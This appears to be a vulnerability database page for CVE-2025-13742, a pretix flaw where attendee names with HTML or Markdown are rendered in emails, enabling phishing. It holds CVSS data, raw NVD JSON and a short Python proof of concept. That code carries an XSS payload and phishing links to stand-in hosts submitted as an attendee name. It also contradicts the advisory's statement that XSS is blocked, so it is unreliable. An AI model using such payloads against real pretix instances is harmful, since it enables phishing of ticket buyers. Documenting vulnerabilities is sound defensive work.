CVE-2025-13742

Description

Emails sent by pretix can utilize placeholders that will be filled with customer data. For example, when {name} is used in an email template, it will be replaced with the buyer's name for the final email. If the name of the attendee contained HTML or Markdown formatting, this was rendered as HTML in the resulting email. This way, a user could inject links or other formatted text through a maliciously formatted name. Since pretix applies a strict allow list approach to allowed HTML tags, this could not be abused for XSS or similarly dangerous attack chains. However, it can be used to manipulate emails in a way that makes user-provided content appear in a trustworthy and credible way, which can be abused for phishing.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:pretix:pretix:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:pretix:pretix:2025.8.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:pretix:pretix:2025.9.0:*:*:*:*:*:*:* - VULNERABLE

pretix < 2025.9.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-13742 PoC - pretix HTML Injection in Email Templates # This PoC demonstrates how an attacker can inject HTML into email templates # through maliciously formatted attendee names import requests import json # Target pretix instance TARGET_URL = "https://pretix-instance.com" API_KEY = "your-api-key" ORGANIZER_SLUG = "your-organizer" EVENT_SLUG = "your-event" # Malicious name payload with HTML injection malicious_name = """ <img src=x onerror='alert("XSS")'> <a href='https://evil-phishing-site.com'>Click here for FREE tickets!</a> **Phishing Link** """ # Alternative payload for phishing phishing_payload = """ Your order has been confirmed. <a href='https://fake-pretix-login.com/reset?token=stolen'>Click here to verify your account</a> """ # Register attendee with malicious name def register_attendee(): endpoint = f"{TARGET_URL}/api/v1/organizers/{ORGANIZER_SLUG}/events/{EVENT_SLUG}/orders/" headers = { "Authorization": f"Token {API_KEY}", "Content-Type": "application/json" } payload = { "email": "[email protected]", "name": phishing_payload, "locale": "en" } # This payload will be rendered in email templates response = requests.post(endpoint, json=payload, headers=headers) return response.json() # Email template vulnerable code pattern vulnerable_template = """  <html> <body> <p>Dear {name},</p>  <p>Your ticket is ready.</p> </body> </html> """ print("CVE-2025-13742 PoC - pretix HTML Injection") print("Register attendee with malicious name to inject HTML into emails")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13742
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13742
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13742/
[4] VulDB https://vuldb.com/cve/CVE-2025-13742
[5] https://pretix.eu/about/en/blog/20251126-release-2025-9-1/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13742", "sourceIdentifier": "655498c3-6ec5-4f0b-aea6-853b334d05a6", "published": "2025-11-27T11:15:47.760", "lastModified": "2025-12-30T15:38:38.657", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Emails sent by pretix can utilize placeholders that will be filled with customer data. For example, when {name} is used in an email template, it will be replaced with the buyer's name for the final email. If the name of the attendee contained HTML or Markdown formatting, this was rendered as HTML in the resulting email. This way, a user could inject links or other formatted text through a maliciously formatted name. Since pretix applies a strict allow list approach to allowed HTML tags, this could not be abused for XSS or similarly dangerous attack chains. However, it can be used to manipulate emails in a way that makes user-provided content appear in a trustworthy and credible way, which can be abused for phishing."}], "metrics": {"cvssMetricV40": [{"source": "655498c3-6ec5-4f0b-aea6-853b334d05a6", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:L/VA:L/SC:N/SI:L/SA:L/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.4, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-116"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pretix:pretix:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "2025.7.2", "matchCriteriaId": "25666170-72A0-4BE6-8D0A-54AA4584A72C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:pretix:pretix:2025.8.0:*:*:*:*:*:*:*", "matchCriteriaId": "58DD891C-DF07-49CF-8BC5-67E3E1058BB3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:pretix:pretix:2025.9.0:*:*:*:*:*:*:*", "matchCriteriaId": "98B55266-D953-4C86-98CF-88A6678A0DCC"}]}]}], "references": [{"url": "https://pretix.eu/about/en/blog/20251126-release-2025-9-1/", "source": "655498c3-6ec5-4f0b-aea6-853b334d05a6", "tags": ["Broken Link"]}]}}